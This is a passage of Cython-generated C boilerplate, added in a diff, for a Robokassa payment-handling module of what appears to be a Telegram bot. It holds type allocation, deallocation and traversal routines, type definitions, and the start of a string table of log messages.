(int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_inv_id); + Py_CLEAR(p->__pyx_v_params); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_v_shp_id); + Py_CLEAR(p->__pyx_v_signature_value); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_inv_id) { + e = (*v)(p->__pyx_v_inv_id, a); if (e) return e; + } + if (p->__pyx_v_params) { + e = (*v)(p->__pyx_v_params, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_v_shp_id) { + e = (*v)(p->__pyx_v_shp_id, a); if (e) return e; + } + if (p->__pyx_v_signature_value) { + e = (*v)(p->__pyx_v_signature_value, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_2_robokassa_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_2_robokassa_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_2_robokassa_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_builder); + Py_CLEAR(p->__pyx_v_callback_query); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection *)o; + if (p->__pyx_v_builder) { + e = (*v)(p->__pyx_v_builder, a); if (e) return e; + } + if (p->__pyx_v_callback_query) { + e = (*v)(p->__pyx_v_callback_query, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_3_process_custom_amount_selection", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_3_process_custom_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_3_process_custom_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input[8]; +static int __pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input[--__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_confirm_keyboard); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_message); + Py_CLEAR(p->__pyx_v_payment_url); + Py_CLEAR(p->__pyx_v_state); + Py_CLEAR(p->__pyx_v_tg_id); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + Py_CLEAR(p->__pyx_t_3); + Py_CLEAR(p->__pyx_t_4); + Py_CLEAR(p->__pyx_t_5); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input)))) { + __pyx_freelist_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input[__pyx_freecount_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input++] = ((struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *p = (struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_confirm_keyboard) { + e = (*v)(p->__pyx_v_confirm_keyboard, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_message) { + e = (*v)(p->__pyx_v_message, a); if (e) return e; + } + if (p->__pyx_v_payment_url) { + e = (*v)(p->__pyx_v_payment_url, a); if (e) return e; + } + if (p->__pyx_v_state) { + e = (*v)(p->__pyx_v_state, a); if (e) return e; + } + if (p->__pyx_v_tg_id) { + e = (*v)(p->__pyx_v_tg_id, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + if (p->__pyx_t_3) { + e = (*v)(p->__pyx_t_3, a); if (e) return e; + } + if (p->__pyx_t_4) { + e = (*v)(p->__pyx_t_4, a); if (e) return e; + } + if (p->__pyx_t_5) { + e = (*v)(p->__pyx_t_5, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_spec = { + "handlers.payments.robokassa_pay.__pyx_scope_struct_4_handle_custom_amount_input", + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.robokassa_pay.""__pyx_scope_struct_4_handle_custom_amount_input", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13robokassa_pay___pyx_scope_struct_4_handle_custom_amount_input, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +static PyMethodDef __pyx_methods[] = { + {0, 0, 0, 0} +}; +#ifndef CYTHON_SMALL_CODE +#if defined(__clang__) + #define CYTHON_SMALL_CODE +#elif defined(__GNUC__) && (__GNUC__ > 4 || (__GNUC__ == 4 && __GNUC_MINOR__ >= 3)) + #define CYTHON_SMALL_CODE __attribute__((cold)) +#else + #define CYTHON_SMALL_CODE +#endif +#endif +/* #### Code section: pystring_table ### */ + +static int __Pyx_CreateStringTabAndInitStrings(void) { + __Pyx_StringTabEntry __pyx_string_tab[] = { + {&__pyx_kp_u_, __pyx_k_, sizeof(__pyx_k_), 0, 1, 0, 0}, + {&__pyx_n_s_Any, __pyx_k_Any, sizeof(__pyx_k_Any), 0, 0, 1, 1}, + {&__pyx_kp_u_Created_new_connection_for_user, __pyx_k_Created_new_connection_for_user, sizeof(__pyx_k_Created_new_connection_for_user), 0, 1, 0, 0}, + {&__pyx_kp_u_Displayed_amount_selection_for_u, __pyx_k_Displayed_amount_selection_for_u, sizeof(__pyx_k_Displayed_amount_selection_for_u), 0, 1, 0, 0}, + {&__pyx_kp_u_Error_processing_webhook, __pyx_k_Error_processing_webhook, sizeof(__pyx_k_Error_processing_webhook), 0, 1, 0, 0}, + {&__pyx_kp_u_Expected_signature, __pyx_k_Expected_signature, sizeof(__pyx_k_Expected_signature), 0, 1, 0, 0}, + {&__pyx_n_s_F, 